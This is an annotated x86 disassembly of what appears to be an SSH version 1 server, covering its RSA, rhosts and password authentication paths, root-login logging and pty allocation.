0804c256  ff 75 88           pushl  0xffffff88(%ebp)
0804c259  68 40 fc 07 08     push   $0x807fc40  ;[in .bss] 0 'x0 x0 x0 x0' ""
0804c25e  e8 75 33 00 00     call   0804f5d8 <Unknown0030>
0804c263  83 c4 30           add    $0x30,%esp
0804c266  85 c0              test   %eax,%eax
0804c268  74 2e              je     0804c298 <Unknown0011+0x388>
0804c26a  83 ec 0c           sub    $0xc,%esp
0804c26d  56                 push   %esi
0804c26e  c7 45 90 04 00 00 00  movl  $0x4,0xffffff90(%ebp)  ;4 'x4 x0 x0 x0' ""
0804c275  c7 45 94 01 00 00 00  movl  $0x1,0xffffff94(%ebp)  ;1 'x1 x0 x0 x0' ""
0804c27c  89 3d 1c fc 07 08  mov    %edi,0x807fc1c  ;[in .bss] 0 'x0 x0 x0 x0' ""
0804c282  e8 79 45 01 00     call   08060800 <Unknown0307>
0804c287  5a                 pop    %edx
0804c288  ff 75 84           pushl  0xffffff84(%ebp)
0804c28b  e8 70 45 01 00     call   08060800 <Unknown0307>
0804c290  e9 36 02 00 00     jmp    0804c4cb <Unknown0011+0x5bb>  ;566 'x36 x2 x0 x0' "6"
0804c295  8d 76 00           lea    0x0(%esi),%esi
0804c298  e8 8f 49 00 00     call   08050c2c <Unknown0055>
0804c29d  50                 push   %eax
0804c29e  57                 push   %edi
0804c29f  ff 75 08           pushl  0x8(%ebp)
0804c2a2  68 80 c8 06 08     push   $0x806c880  ;[in .rodata] 1936681042 'x52 x68 x6f x73' "RhostsRSA
                                                authentication failed for '%.100s', remote '%.100s',
                                                host '%.200s'."
0804c2a7  e8 70 39 00 00     call   0804fc1c <Unknown0036>
0804c2ac  89 3c 24           mov    %edi,(%esp,1)
0804c2af  e8 5c ac 00 00     call   08056f10 <Unknown0172>
0804c2b4  89 34 24           mov    %esi,(%esp,1)
0804c2b7  e8 44 45 01 00     call   08060800 <Unknown0307>
0804c2bc  58                 pop    %eax
0804c2bd  ff 75 84           pushl  0xffffff84(%ebp)
0804c2c0  e8 3b 45 01 00     call   08060800 <Unknown0307>
0804c2c5  e9 01 02 00 00     jmp    0804c4cb <Unknown0011+0x5bb>  ;513 'x1 x2 x0 x0' ""
0804c2ca  89 f6              mov    %esi,%esi
0804c2cc  8b 3d b8 db 07 08  mov    0x807dbb8,%edi  ;[in .bss] 0 'x0 x0 x0 x0' ""
0804c2d2  85 ff              test   %edi,%edi
0804c2d4  75 12              jne    0804c2e8 <Unknown0011+0x3d8>
0804c2d6  e8 6d a4 00 00     call   08056748 <Unknown0154>
0804c2db  83 ec 0c           sub    $0xc,%esp
0804c2de  68 ce c8 06 08     push   $0x806c8ce  ;[in .rodata] 541152082 'x52 x53 x41 x20' "RSA
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                                                                    authentication disabled."
0804c2e3  e9 de 01 00 00        jmp      0804c4c6 <Unknown0011+0x5b6>  ;478 'xde x1 x0 x0' ""
0804c2e8  83 ec 0c              sub      $0xc,%esp
0804c2eb  8d 5d 98              lea      0xffffff98(%ebp),%ebx
0804c2ee  53                    push     %ebx
0804c2ef  e8 d4 4e 01 00        call     080611c8 <Unknown0319>
0804c2f4  89 1c 24              mov      %ebx,(%esp,1)
0804c2f7  e8 1c a4 00 00        call     08056718 <Unknown0152>
0804c2fc  ff 35 a0 db 07 08     pushl    0x807dba0  ;[in .bss] 0 'x0 x0 x0 x0' ""
0804c302  68 40 fc 07 08        push     $0x807fc40  ;[in .bss] 0 'x0 x0 x0 x0' ""
0804c307  53                    push     %ebx
0804c308  ff 75 88              pushl    0xffffff88(%ebp)
0804c30b  e8 a8 29 00 00        call     0804ecb8 <Unknown0028>
0804c310  83 c4 20              add      $0x20,%esp
0804c313  85 c0                 test     %eax,%eax
0804c315  74 31                 je       0804c348 <Unknown0011+0x438>
0804c317  83 ec 0c              sub      $0xc,%esp
0804c31a  53                    push     %ebx
0804c31b  e8 e0 44 01 00        call     08060800 <Unknown0307>
0804c320  5b                    pop      %ebx
0804c321  5e                    pop      %esi
0804c322  ff 75 08              pushl    0x8(%ebp)
0804c325  68 00 c9 06 08        push     $0x806c900  ;[in .rodata] 541152082 'x52 x53 x41 x20' "RSA
                                                      authentication for %.100s accepted."
0804c32a  e8 ed 38 00 00        call     0804fc1c <Unknown0036>
0804c32f  83 c4 10              add      $0x10,%esp
0804c332  c7 45 90 02 00 00 00  movl     $0x2,0xffffff90(%ebp)  ;2 'x2 x0 x0 x0' ""
0804c339  c7 45 94 01 00 00 00  movl     $0x1,0xffffff94(%ebp)  ;1 'x1 x0 x0 x0' ""
0804c340  e9 89 01 00 00        jmp      0804c4ce <Unknown0011+0x5be>  ;393 'x89 x1 x0 x0' ""
0804c345  8d 76 00              lea      0x0(%esi),%esi
0804c348  83 ec 0c              sub      $0xc,%esp
0804c34b  53                    push     %ebx
0804c34c  e8 af 44 01 00        call     08060800 <Unknown0307>
0804c351  5a                    pop      %edx
0804c352  59                    pop      %ecx
0804c353  ff 75 08              pushl    0x8(%ebp)
0804c356  68 40 c9 06 08        push     $0x806c940  ;[in .rodata] 541152082 'x52 x53 x41 x20' "RSA
                                                      authentication for %.100s failed."
0804c35b  e8 20 3a 00 00        call     0804fd80 <Unknown0039>
0804c360  e9 66 01 00 00        jmp      0804c4cb <Unknown0011+0x5bb>  ;358 'x66 x1 x0 x0' "f"
0804c365  8d 76 00              lea      0x0(%esi),%esi
0804c368  a1 d0 db 07 08        mov      0x807dbd0,%eax  ;[in .bss] 0 'x0 x0 x0 x0' ""
0804c36d  85 c0                 test     %eax,%eax
0804c36f  75 13                 jne      0804c384 <Unknown0011+0x474>
0804c371  e8 d2 a3 00 00        call     08056748 <Unknown0154>
0804c376  83 ec 0c              sub      $0xc,%esp
0804c379  68 80 c9 06 08        push     $0x806c980  ;[in .rodata] 1936941392 'x50 x61 x73 x73' "Password
                                                      authentication disabled."
0804c37e  e9 43 01 00 00        jmp      0804c4c6 <Unknown0011+0x5b6>  ;323 'x43 x1 x0 x0' "C"
0804c383  90                    nop
0804c384  8b 7d 10              mov      0x10(%ebp),%edi
0804c387  85 ff                 test     %edi,%edi
0804c389  75 15                 jne      0804c3a0 <Unknown0011+0x490>
0804c38b  e8 b8 a3 00 00        call     08056748 <Unknown0154>
0804c390  83 ec 0c              sub      $0xc,%esp
0804c393  68 c0 c9 06 08        push     $0x806c9c0  ;[in .rodata] 1936941392 'x50 x61 x73 x73' "Password
                                                      authentication not available for unencrypted session."
0804c398  e9 29 01 00 00        jmp      0804c4c6 <Unknown0011+0x5b6>  ;297 'x29 x1 x0 x0' ")"
0804c39d  8d 76 00              lea      0x0(%esi),%esi
0804c3a0  83 ec 0c              sub      $0xc,%esp
0804c3a3  6a 00                 push     $0x0
0804c3a5  e8 86 a3 00 00        call     08056730 <Unknown0153>
0804c3aa  83 c4 10              add      $0x10,%esp
0804c3ad  83 7d 8c 04           cmpl     $0x4,0xffffff8c(%ebp)
0804c3b1  89 c3                 mov      %eax,%ebx
0804c3b3  7e 1c                 jle      0804c3d1 <Unknown0011+0x4c1>
0804c3b5  56                    push     %esi
0804c3b6  ff 75 08              pushl    0x8(%ebp)
0804c3b9  83 ec 08              sub      $0x8,%esp
0804c3bc  e8 6b 48 00 00        call     08050c2c <Unknown0055>
0804c3c1  5a                    pop      %edx
0804c3c2  59                    pop      %ecx
0804c3c3  50                    push     %eax
0804c3c4  68 00 ca 06 08        push     $0x806ca00  ;[in .rodata] 544173908 'x54 x6f x6f x20' "Too many
                                                      password authentication attempts from %.100s for user
                                                      %.100s."
0804c3c9  e8 12 a4 00 00        call     080567e0 <Unknown0157>
0804c3ce  83 c4 10              add      $0x10,%esp
0804c3d1  8b 7d 8c              mov      0xffffff8c(%ebp),%edi
0804c3d4  85 ff                 test     %edi,%edi
0804c3d6  7e 1c                 jle      0804c3f4 <Unknown0011+0x4e4>
0804c3d8  83 ec 10              sub      $0x10,%esp
0804c3db  e8 4c 48 00 00        call     08050c2c <Unknown0055>
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0804c3e0  83 c4 0c              add      $0xc,%esp
0804c3e3  50                    push     %eax
0804c3e4  ff 75 08              pushl    0x8(%ebp)
0804c3e7  68 60 ca 06 08        push     $0x806ca60   ;[in .rodata] 1936941392 'x50 x61 x73 x73' "Password
                                                       authentication failed for user %.100s from %.100s."
0804c3ec  e8 2b 38 00 00        call     0804fc1c <Unknown0036>
0804c3f1  83 c4 10              add      $0x10,%esp
0804c3f4  83 ec 08              sub      $0x8,%esp
0804c3f7  53                    push     %ebx
0804c3f8  ff 45 8c              incl     0xffffff8c(%ebp)
0804c3fb  ff 75 08              pushl    0x8(%ebp)
0804c3fe  e8 09 25 00 00        call     0804e90c <Unknown0025>
0804c403  83 c4 10              add      $0x10,%esp
0804c406  85 c0                 test     %eax,%eax
0804c408  75 10                 jne      0804c41a <Unknown0011+0x50a>
0804c40a  83 ec 0c              sub      $0xc,%esp
0804c40d  53                    push     %ebx
0804c40e  e8 f9 f9 ff ff        call     0804be0c <Unknown0010>
0804c413  83 c4 10              add      $0x10,%esp
0804c416  85 c0                 test     %eax,%eax
0804c418  74 66                 je       0804c480 <Unknown0011+0x570>
0804c41a  56                    push     %esi
0804c41b  fc                    cld
0804c41c  31 c0                 xor      %eax,%eax
0804c41e  89 df                 mov      %ebx,%edi
0804c420  b9 ff ff ff ff        mov      $0xffffffff,%ecx   ;-1 'xff xff xff xff' ""
0804c425  f2 ae                 repnz scas %es:(%edi),%al
0804c427  f7 d1                 not      %ecx
0804c429  49                    dec      %ecx
0804c42a  51                    push     %ecx
0804c42b  6a 00                 push     $0x0
0804c42d  53                    push     %ebx
0804c42e  e8 79 df ff ff        call     0804a3ac <memset>
0804c433  89 1c 24              mov      %ebx,(%esp,1)
0804c436  e8 d5 aa 00 00        call     08056f10 <Unknown0172>
0804c43b  8b 1d 24 01 08 08     mov      0x8080124,%ebx   ;[in .bss] 0 'x0 x0 x0 x0' ""
0804c441  83 c4 10              add      $0x10,%esp
0804c444  85 db                 test     %ebx,%ebx
0804c446  74 10                 je       0804c458 <Unknown0011+0x548>
0804c448  83 ec 08              sub      $0x8,%esp
0804c44b  ff 75 08              pushl    0x8(%ebp)
0804c44e  68 a0 ca 06 08        push     $0x806caa0   ;[in .rodata] 1936941392 'x50 x61 x73 x73' "Password
                                                       authentication for %.100s accepted."
0804c453  eb 13                 jmp      0804c468 <Unknown0011+0x558>
0804c455  8d 76 00              lea      0x0(%esi),%esi
0804c458  83 ec 10              sub      $0x10,%esp
0804c45b  e8 cc 48 00 00        call     08050d2c <Unknown0056>
0804c460  5a                    pop      %edx
0804c461  59                    pop      %ecx
0804c462  50                    push     %eax
0804c463  68 cd ca 06 08        push     $0x806cacd   ;[in .rodata] 1936682051 'x43 x6c x6f x73' "Closing
                                                       connection to %.100s"
0804c468  e8 af 37 00 00        call     0804fc1c <Unknown0036>
0804c46d  83 c4 10              add      $0x10,%esp
0804c470  c7 45 90 03 00 00 00  movl     $0x3,0xffffff90(%ebp)  ;3 'x3 x0 x0 x0' ""
0804c477  c7 45 94 01 00 00 00  movl     $0x1,0xffffff94(%ebp)  ;1 'x1 x0 x0 x0' ""
0804c47e  eb 4e                 jmp      0804c4ce <Unknown0011+0x5be>
0804c480  83 ec 08              sub      $0x8,%esp
0804c483  ff 75 08              pushl    0x8(%ebp)
0804c486  68 00 cb 06 08        push     $0x806cb00   ;[in .rodata] 1936941392 'x50 x61 x73 x73' "Password
                                                       authentication for %.100s failed."
0804c48b  89 df                 mov      %ebx,%edi
0804c48d  e8 8a 37 00 00        call     0804fc1c <Unknown0036>
0804c492  fc                    cld
0804c493  31 c0                 xor      %eax,%eax
0804c495  b9 ff ff ff ff        mov      $0xffffffff,%ecx   ;-1 'xff xff xff xff' ""
0804c49a  f2 ae                 repnz scas %es:(%edi),%al
0804c49c  f7 d1                 not      %ecx
0804c49e  83 c4 0c              add      $0xc,%esp
0804c4a1  49                    dec      %ecx
0804c4a2  51                    push     %ecx
0804c4a3  6a 00                 push     $0x0
0804c4a5  53                    push     %ebx
0804c4a6  e8 01 df ff ff        call     0804a3ac <memset>
0804c4ab  89 1c 24              mov      %ebx,(%esp,1)
0804c4ae  e8 5d aa 00 00        call     08056f10 <Unknown0172>
0804c4b3  eb 16                 jmp      0804c4cb <Unknown0011+0x5bb>
0804c4b5  8d 76 00              lea      0x0(%esi),%esi
0804c4b8  e8 8b a2 00 00        call     08056748 <Unknown0154>
0804c4bd  83 ec 08              sub      $0x8,%esp
0804c4c0  53                    push     %ebx
0804c4c1  68 40 cb 06 08        push     $0x806cb40   ;[in .rodata] 1852534357 'x55 x6e x6b x6e' "Unknown
                                                       message during authentication: type %d"
0804c4c6  e8 51 37 00 00        call     0804fc1c <Unknown0036>
```

```
0804c4cb  83 c4 10              add     $0x10,%esp
0804c4ce  8b 7d 94              mov     0xffffff94(%ebp),%edi
0804c4d1  85 ff                 test    %edi,%edi
0804c4d3  75 1f                 jne     0804c4f4 <Unknown0011+0x5e4>
0804c4d5  83 ec 0c              sub     $0xc,%esp
0804c4d8  6a 0f                 push    $0xf
0804c4da  e8 35 9b 00 00        call    08056014 <Unknown0138>
0804c4df  e8 d8 9b 00 00        call    080560bc <Unknown0144>
0804c4e4  e8 13 a4 00 00        call    080568fc <Unknown0159>
0804c4e9  83 c4 10              add     $0x10,%esp
0804c4ec  e9 a3 fb ff ff        jmp     0804c094 <Unknown0011+0x184>  ;-1117 'xa3 xfb xff xff' ""
0804c4f1  8d 76 00              lea     0x0(%esi),%esi
0804c4f4  8b 55 88              mov     0xffffff88(%ebp),%edx
0804c4f7  8b 42 08              mov     0x8(%edx),%eax
0804c4fa  85 c0                 test    %eax,%eax
0804c4fc  89 c2                 mov     %eax,%edx
0804c4fe  75 28                 jne     0804c528 <Unknown0011+0x618>
0804c500  83 3d 80 db 07 08 01  cmpl    $0x1,0x807db80  ;[in .bss] 0 'x0 x0 x0 x0' ""
0804c507  75 1f                 jne     0804c528 <Unknown0011+0x618>
0804c509  8b 35 24 01 08 08     mov     0x8080124,%esi  ;[in .bss] 0 'x0 x0 x0 x0' ""
0804c50f  85 f6                 test    %esi,%esi
0804c511  75 15                 jne     0804c528 <Unknown0011+0x618>
0804c513  83 7d 90 03           cmpl    $0x3,0xffffff90(%ebp)
0804c517  75 61                 jne     0804c57a <Unknown0011+0x66a>
0804c519  83 ec 10              sub     $0x10,%esp
0804c51c  e8 0b 47 00 00        call    08050c2c <Unknown0055>
0804c521  59                    pop     %ecx
0804c522  5b                    pop     %ebx
0804c523  eb 41                 jmp     0804c566 <Unknown0011+0x656>
0804c525  8d 76 00              lea     0x0(%esi),%esi
0804c528  85 d2                 test    %edx,%edx
0804c52a  75 4e                 jne     0804c57a <Unknown0011+0x66a>
0804c52c  8b 15 80 db 07 08     mov     0x807db80,%edx  ;[in .bss] 0 'x0 x0 x0 x0' ""
0804c532  85 d2                 test    %edx,%edx
0804c534  75 44                 jne     0804c57a <Unknown0011+0x66a>
0804c536  8b 3d 24 01 08 08     mov     0x8080124,%edi  ;[in .bss] 0 'x0 x0 x0 x0' ""
0804c53c  85 ff                 test    %edi,%edi
0804c53e  74 3a                 je      0804c57a <Unknown0011+0x66a>
0804c540  a1 b4 7b 07 08        mov     0x8077bb4,%eax  ;[in .data] 0 'x0 x0 x0 x0' ""
0804c545  85 c0                 test    %eax,%eax
0804c547  74 13                 je      0804c55c <Unknown0011+0x64c>
0804c549  83 ec 08              sub     $0x8,%esp
0804c54c  50                    push    %eax
0804c54d  68 a0 cb 06 08        push    $0x806cba0  ;[in .rodata] 1953460050 'x52 x6f x6f x74' "Root login
                                                        accepted for forced command."
0804c552  e8 c5 36 00 00        call    0804fc1c <Unknown0036>
0804c557  eb 18                 jmp     0804c571 <Unknown0011+0x661>
0804c559  8d 76 00              lea     0x0(%esi),%esi
0804c55c  83 ec 10              sub     $0x10,%esp
0804c55f  e8 c8 46 00 00        call    08050c2c <Unknown0055>
0804c564  5b                    pop     %ebx
0804c565  5e                    pop     %esi
0804c566  50                    push    %eax
0804c567  68 80 cb 06 08        push    $0x806cb80  ;[in .rodata] 1414483794 'x52 x4f x4f x54' "ROOT LOGIN
                                                        REFUSED FROM %.200s"
0804c56c  e8 6f a2 00 00        call    080567e0 <Unknown0157>
0804c571  8b 55 88              mov     0xffffff88(%ebp),%edx
0804c574  83 c4 10              add     $0x10,%esp
0804c577  8b 42 08              mov     0x8(%edx),%eax
0804c57a  85 c0                 test    %eax,%eax
0804c57c  75 24                 jne     0804c5a2 <Unknown0011+0x692>
0804c57e  8b 0d 24 01 08 08     mov     0x8080124,%ecx  ;[in .bss] 0 'x0 x0 x0 x0' ""
0804c584  85 c9                 test    %ecx,%ecx
0804c586  74 1a                 je      0804c5a2 <Unknown0011+0x692>
0804c588  e8 9f 46 00 00        call    08050c2c <Unknown0055>
0804c58d  50                    push    %eax
0804c58e  8b 45 88              mov     0xffffff88(%ebp),%eax
0804c591  ff 30                 pushl   (%eax)
0804c593  68 e0 cb 06 08        push    $0x806cbe0  ;[in .rodata] 1414483794 'x52 x4f x4f x54' "ROOT LOGIN
                                                        as '%.100s' from %.100s"
0804c598  6a 02                 push    $0x2
0804c59a  e8 59 37 00 00        call    0804fcf8 <Unknown0038>
0804c59f  83 c4 10              add     $0x10,%esp
0804c5a2  83 ec 0c              sub     $0xc,%esp
0804c5a5  6a 0e                 push    $0xe
0804c5a7  e8 68 9a 00 00        call    08056014 <Unknown0138>
0804c5ac  e8 0b 9b 00 00        call    080560bc <Unknown0144>
0804c5b1  e8 46 a3 00 00        call    080568fc <Unknown0159>
0804c5b6  5a                    pop     %edx
0804c5b7  ff 75 88              pushl   0xffffff88(%ebp)
0804c5ba  e8 09 00 00 00        call    0804c5c8 <Unknown0012>
0804c5bf  8d 65 f4              lea     0xfffffff4(%ebp),%esp
0804c5c2  5b                    pop     %ebx
0804c5c3  5e                    pop     %esi
```

```
0804c5c4  5f                           pop     %edi
0804c5c5  5d                           pop     %ebp
0804c5c6  c3                           ret
0804c5c7  90                           nop


  ;
  ; >--------------------<  Subroutine #  12 >---------------------<
  ;
0804c5c8 <Unknown0012>:
0804c5c8  55                           push    %ebp
0804c5c9  89 e5                        mov     %esp,%ebp
0804c5cb  57                           push    %edi
0804c5cc  56                           push    %esi
0804c5cd  53                           push    %ebx
0804c5ce  81 ec d8 00 00 00            sub     $0xd8,%esp   ;216 'xd8 x0 x0 x0' ""
0804c5d4  b8 ff ff ff ff               mov     $0xffffffff,%eax  ;-1 'xff xff xff xff' ""
0804c5d9  6a 00                        push    $0x0
0804c5db  c7 85 3c ff ff ff 00 00 00 00  movl  $0x0,0xffffff3c(%ebp)  ;0 'x0 x0 x0 x0' ""
0804c5e5  c7 85 38 ff ff ff 00 00 00 00  movl  $0x0,0xffffff38(%ebp)  ;0 'x0 x0 x0 x0' ""
0804c5ef  89 85 40 ff ff ff            mov     %eax,0xffffff40(%ebp)  ;-192 'x40 xff xff xff' "@"
0804c5f5  89 85 44 ff ff ff            mov     %eax,0xffffff44(%ebp)  ;-188 'x44 xff xff xff' "D"
0804c5fb  c7 85 34 ff ff ff 00 00 00 00  movl  $0x0,0xffffff34(%ebp)  ;0 'x0 x0 x0 x0' ""
0804c605  c7 85 30 ff ff ff 00 00 00 00  movl  $0x0,0xffffff30(%ebp)  ;0 'x0 x0 x0 x0' ""
0804c60f  c7 85 2c ff ff ff 00 00 00 00  movl  $0x0,0xffffff2c(%ebp)  ;0 'x0 x0 x0 x0' ""
0804c619  c7 85 28 ff ff ff 00 00 00 00  movl  $0x0,0xffffff28(%ebp)  ;0 'x0 x0 x0 x0' ""
0804c623  e8 94 de ff ff               call    0804a4bc <alarm>
0804c628  e8 2f b9 00 00               call    08057f5c <Unknown0179>
0804c62d  31 ff                        xor     %edi,%edi
0804c62f  83 c4 10                     add     $0x10,%esp
0804c632  89 f6                        mov     %esi,%esi
0804c634  e8 af 9c 00 00               call    080562e8 <Unknown0145>
0804c639  89 c3                        mov     %eax,%ebx
0804c63b  8d 43 f6                     lea     0xfffffff6(%ebx),%eax
0804c63e  83 f8 1c                     cmp     $0x1c,%eax
0804c641  0f 87 59 05 00 00            ja      0804cba0 <Unknown0012+0x5d8>  ;1369 'x59 x5 x0 x0' "Y"
0804c647  ff 24 85 90 d1 06 08         jmp     *0x806d190(,%eax,4)  ;[in .rodata] 134530748 'xbc xc6 x4 x8' ""
0804c64e  89 f6                        mov     %esi,%esi
0804c650  e8 af a0 00 00               call    08056704 <Unknown0151>
0804c655  89 85 3c ff ff ff            mov     %eax,0xffffff3c(%ebp)  ;-196 'x3c xff xff xff' "<"
0804c65b  48                           dec     %eax
0804c65c  83 f8 08                     cmp     $0x8,%eax
0804c65f  76 13                        jbe     0804c674 <Unknown0012+0xac>
0804c661  83 ec 08                     sub     $0x8,%esp
0804c664  ff b5 3c ff ff ff            pushl   0xffffff3c(%ebp)  ;-196 'x3c xff xff xff' "<"
0804c66a  68 20 cc 06 08               push    $0x806cc20  ;[in .rodata] 1701012818 'x52 x65 x63 x65' "Received
                                                illegal compression level %d."
0804c66f  e9 9b 02 00 00               jmp     0804c90f <Unknown0012+0x347>  ;667 'x9b x2 x0 x0' ""
0804c674  c7 85 38 ff ff ff 01 00 00 00  movl  $0x1,0xffffff38(%ebp)  ;1 'x1 x0 x0 x0' ""
0804c67e  e9 35 05 00 00               jmp     0804cbb8 <Unknown0012+0x5f0>  ;1333 'x35 x5 x0 x0' "5"
0804c683  90                           nop
0804c684  e8 7b a0 00 00               call    08056704 <Unknown0151>
0804c689  89 c2                        mov     %eax,%edx
0804c68b  8d 82 00 f0 ff ff            lea     0xfffff000(%edx),%eax  ;-4096 'x0 xf0 xff xff' ""
0804c691  3d 00 f0 03 00               cmp     $0x3f000,%eax  ;258048 'x0 xf0 x3 x0' ""
0804c696  76 10                        jbe     0804c6a8 <Unknown0012+0xe0>
0804c698  83 ec 08                     sub     $0x8,%esp
0804c69b  52                           push    %edx
0804c69c  68 60 cc 06 08               push    $0x806cc60  ;[in .rodata] 1701012818 'x52 x65 x63 x65' "Received
                                                illegal max packet size %lu."
0804c6a1  e9 69 02 00 00               jmp     0804c90f <Unknown0012+0x347>  ;617 'x69 x2 x0 x0' "i"
0804c6a6  89 f6                        mov     %esi,%esi
0804c6a8  83 ec 0c                     sub     $0xc,%esp
0804c6ab  52                           push    %edx
0804c6ac  e8 b7 a4 00 00               call    08056b68 <Unknown0164>
0804c6b1  83 c4 10                     add     $0x10,%esp
0804c6b4  e9 ff 04 00 00               jmp     0804cbb8 <Unknown0012+0x5f0>  ;1279 'xff x4 x0 x0' ""
0804c6b9  8d 76 00                     lea     0x0(%esi),%esi
0804c6bc  8b 1d ac 7b 07 08            mov     0x8077bac,%ebx  ;[in .data] 0 'x0 x0 x0 x0' ""
0804c6c2  85 db                        test    %ebx,%ebx
0804c6c4  74 12                        je      0804c6d8 <Unknown0012+0x110>
0804c6c6  e8 7d a0 00 00               call    08056748 <Unknown0154>
0804c6cb  83 ec 0c                     sub     $0xc,%esp
0804c6ce  68 a0 cc 06 08               push    $0x806cca0  ;[in .rodata] 1869376577 'x41 x6c x6c x6f' "Allocating
                                                a pty not permitted for this authentication."
0804c6d3  e9 21 03 00 00               jmp     0804c9f9 <Unknown0012+0x431>  ;801 'x21 x3 x0 x0' "!"
0804c6d8  85 ff                        test    %edi,%edi
0804c6da  74 10                        je      0804c6ec <Unknown0012+0x124>
0804c6dc  83 ec 0c                     sub     $0xc,%esp
0804c6df  68 e0 cc 06 08               push    $0x806cce0  ;[in .rodata] 1953460816 'x50 x72 x6f x74' "Protocol
                                                error: you already have a pty."
0804c6e4  e8 f7 a0 00 00               call    080567e0 <Unknown0157>
0804c6e9  83 c4 10                     add     $0x10,%esp
0804c6ec  83 ec 0c                     sub     $0xc,%esp
```

```
0804c6ef  68 08 cd 06 08        push    $0x806cd08  ;[in .rodata] 1869376577 'x41 x6c x6c x6f' "Allocating
                                                        pty."
0804c6f4  e8 87 36 00 00        call    0804fd80 <Unknown0039>
0804c6f9  83 c4 0c              add     $0xc,%esp
0804c6fc  8d 45 a8              lea     0xffffffa8(%ebp),%eax
0804c6ff  50                    push    %eax
0804c700  8d 85 44 ff ff ff     lea     0xffffff44(%ebp),%eax   ;-188 'x44 xff xff xff' "D"
0804c706  50                    push    %eax
0804c707  8d 85 40 ff ff ff     lea     0xffffff40(%ebp),%eax   ;-192 'x40 xff xff xff' "@"
0804c70d  50                    push    %eax
0804c70e  e8 05 30 00 00        call    0804f718 <Unknown0031>
0804c713  83 c4 10              add     $0x10,%esp
0804c716  85 c0                 test    %eax,%eax
0804c718  75 12                 jne     0804c72c <Unknown0012+0x164>
0804c71a  e8 29 a0 00 00        call    08056748 <Unknown0154>
0804c71f  83 ec 0c              sub     $0xc,%esp
0804c722  68 18 cd 06 08        push    $0x806cd18  ;[in .rodata] 1818845510 'x46 x61 x69 x6c' "Failed to
                                                        allocate pty."
0804c727  e9 da 00 00 00        jmp     0804c806 <Unknown0012+0x23e>  ;218 'xda x0 x0 x0' ""
0804c72c  83 ec 0c              sub     $0xc,%esp
0804c72f  68 30 cd 06 08        push    $0x806cd30  ;[in .rodata] 7959668 'x74 x74 x79 x0' "tty"
0804c734  e8 e3 d4 ff ff        call    08049c1c <getgrnam>
0804c739  83 c4 10              add     $0x10,%esp
0804c73c  85 c0                 test    %eax,%eax
0804c73e  74 0c                 je      0804c74c <Unknown0012+0x184>
0804c740  8b 40 08              mov     0x8(%eax),%eax
0804c743  be 90 01 00 00        mov     $0x190,%esi  ;400 'x90 x1 x0 x0' ""
0804c748  eb 0d                 jmp     0804c757 <Unknown0012+0x18f>
0804c74a  89 f6                 mov     %esi,%esi
0804c74c  8b 55 08              mov     0x8(%ebp),%edx
0804c74f  8b 42 0c              mov     0xc(%edx),%eax
0804c752  be 92 01 00 00        mov     $0x192,%esi  ;402 'x92 x1 x0 x0' ""
0804c757  51                    push    %ecx
0804c758  50                    push    %eax
0804c759  8b 45 08              mov     0x8(%ebp),%eax
0804c75c  ff 70 08              pushl   0x8(%eax)
0804c75f  8d 5d a8              lea     0xffffffa8(%ebp),%ebx
0804c762  53                    push    %ebx
0804c763  e8 d4 d4 ff ff        call    08049c3c <chown>
0804c768  83 c4 10              add     $0x10,%esp
0804c76b  85 c0                 test    %eax,%eax
0804c76d  79 39                 jns     0804c7a8 <Unknown0012+0x1e0>
0804c76f  e8 98 da ff ff        call    0804a20c <getuid>
0804c774  85 c0                 test    %eax,%eax
0804c776  74 24                 je      0804c79c <Unknown0012+0x1d4>
0804c778  83 ec 10              sub     $0x10,%esp
0804c77b  e8 bc d6 ff ff        call    08049e3c <__errno_location>
0804c780  5a                    pop     %edx
0804c781  ff 30                 pushl   (%eax)
0804c783  e8 64 d6 ff ff        call    08049dec <strerror>
0804c788  83 c4 0c              add     $0xc,%esp
0804c78b  50                    push    %eax
0804c78c  53                    push    %ebx
0804c78d  68 40 cd 06 08        push    $0x806cd40  ;[in .rodata] 2003789923 'x63 x68 x6f x77' "chown
                                                        failed (but we're not root anyway) for %s, error %s"
0804c792  e8 e9 35 00 00        call    0804fd80 <Unknown0039>
0804c797  83 c4 10              add     $0x10,%esp
0804c79a  eb 0c                 jmp     0804c7a8 <Unknown0012+0x1e0>
0804c79c  83 ec 08              sub     $0x8,%esp
0804c79f  53                    push    %ebx
0804c7a0  68 80 cd 06 08        push    $0x806cd80  ;[in .rodata] 1600680819 'x73 x73 x68 x5f'
                                                        "ssh_pty_allocate_and_fork: chown failed for %s."
0804c7a5  eb 5f                 jmp     0804c806 <Unknown0012+0x23e>
0804c7a7  90                    nop
0804c7a8  83 ec 08              sub     $0x8,%esp
0804c7ab  56                    push    %esi
0804c7ac  8d 5d a8              lea     0xffffffa8(%ebp),%ebx
0804c7af  53                    push    %ebx
0804c7b0  e8 e7 d6 ff ff        call    08049e9c <chmod>
0804c7b5  83 c4 10              add     $0x10,%esp
0804c7b8  85 c0                 test    %eax,%eax
0804c7ba  79 58                 jns     0804c814 <Unknown0012+0x24c>
0804c7bc  e8 4b da ff ff        call    0804a20c <getuid>
0804c7c1  85 c0                 test    %eax,%eax
0804c7c3  74 27                 je      0804c7ec <Unknown0012+0x224>
0804c7c5  83 ec 10              sub     $0x10,%esp
0804c7c8  e8 6f d6 ff ff        call    08049e3c <__errno_location>
0804c7cd  59                    pop     %ecx
0804c7ce  ff 30                 pushl   (%eax)
0804c7d0  e8 17 d6 ff ff        call    08049dec <strerror>
0804c7d5  83 c4 0c              add     $0xc,%esp
0804c7d8  50                    push    %eax
0804c7d9  53                    push    %ebx
0804c7da  68 c0 cd 06 08        push    $0x806cdc0  ;[in .rodata] 1869441123 'x63 x68 x6d x6f' "chmod
```

                                                          failed (but we're not root anyway)
                                                          for %s, error %s"

```
0804c7df   e8 9c 35 00 00        call     0804fd80 <Unknown0039>
0804c7e4   83 c4 10              add      $0x10,%esp
0804c7e7   eb 2b                 jmp      0804c814 <Unknown0012+0x24c>
0804c7e9   8d 76 00              lea      0x0(%esi),%esi
0804c7ec   83 ec 10              sub      $0x10,%esp
0804c7ef   e8 48 d6 ff ff        call     08049e3c <__errno_location>
0804c7f4   5a                    pop      %edx
0804c7f5   ff 30                 pushl    (%eax)
0804c7f7   e8 f0 d5 ff ff        call     08049dec <strerror>
0804c7fc   83 c4 0c              add      $0xc,%esp
0804c7ff   50                    push     %eax
0804c800   53                    push     %ebx
0804c801   68 00 ce 06 08        push     $0x806ce00  ;[in .rodata] 1600680819 'x73 x73 x68 x5f'
                                                      "ssh_pty_allocate_and_fork: chmod %s: %s"
0804c806   e8 fd 35 00 00        call     0804fe08 <Unknown0040>
0804c80b   83 c4 10              add      $0x10,%esp
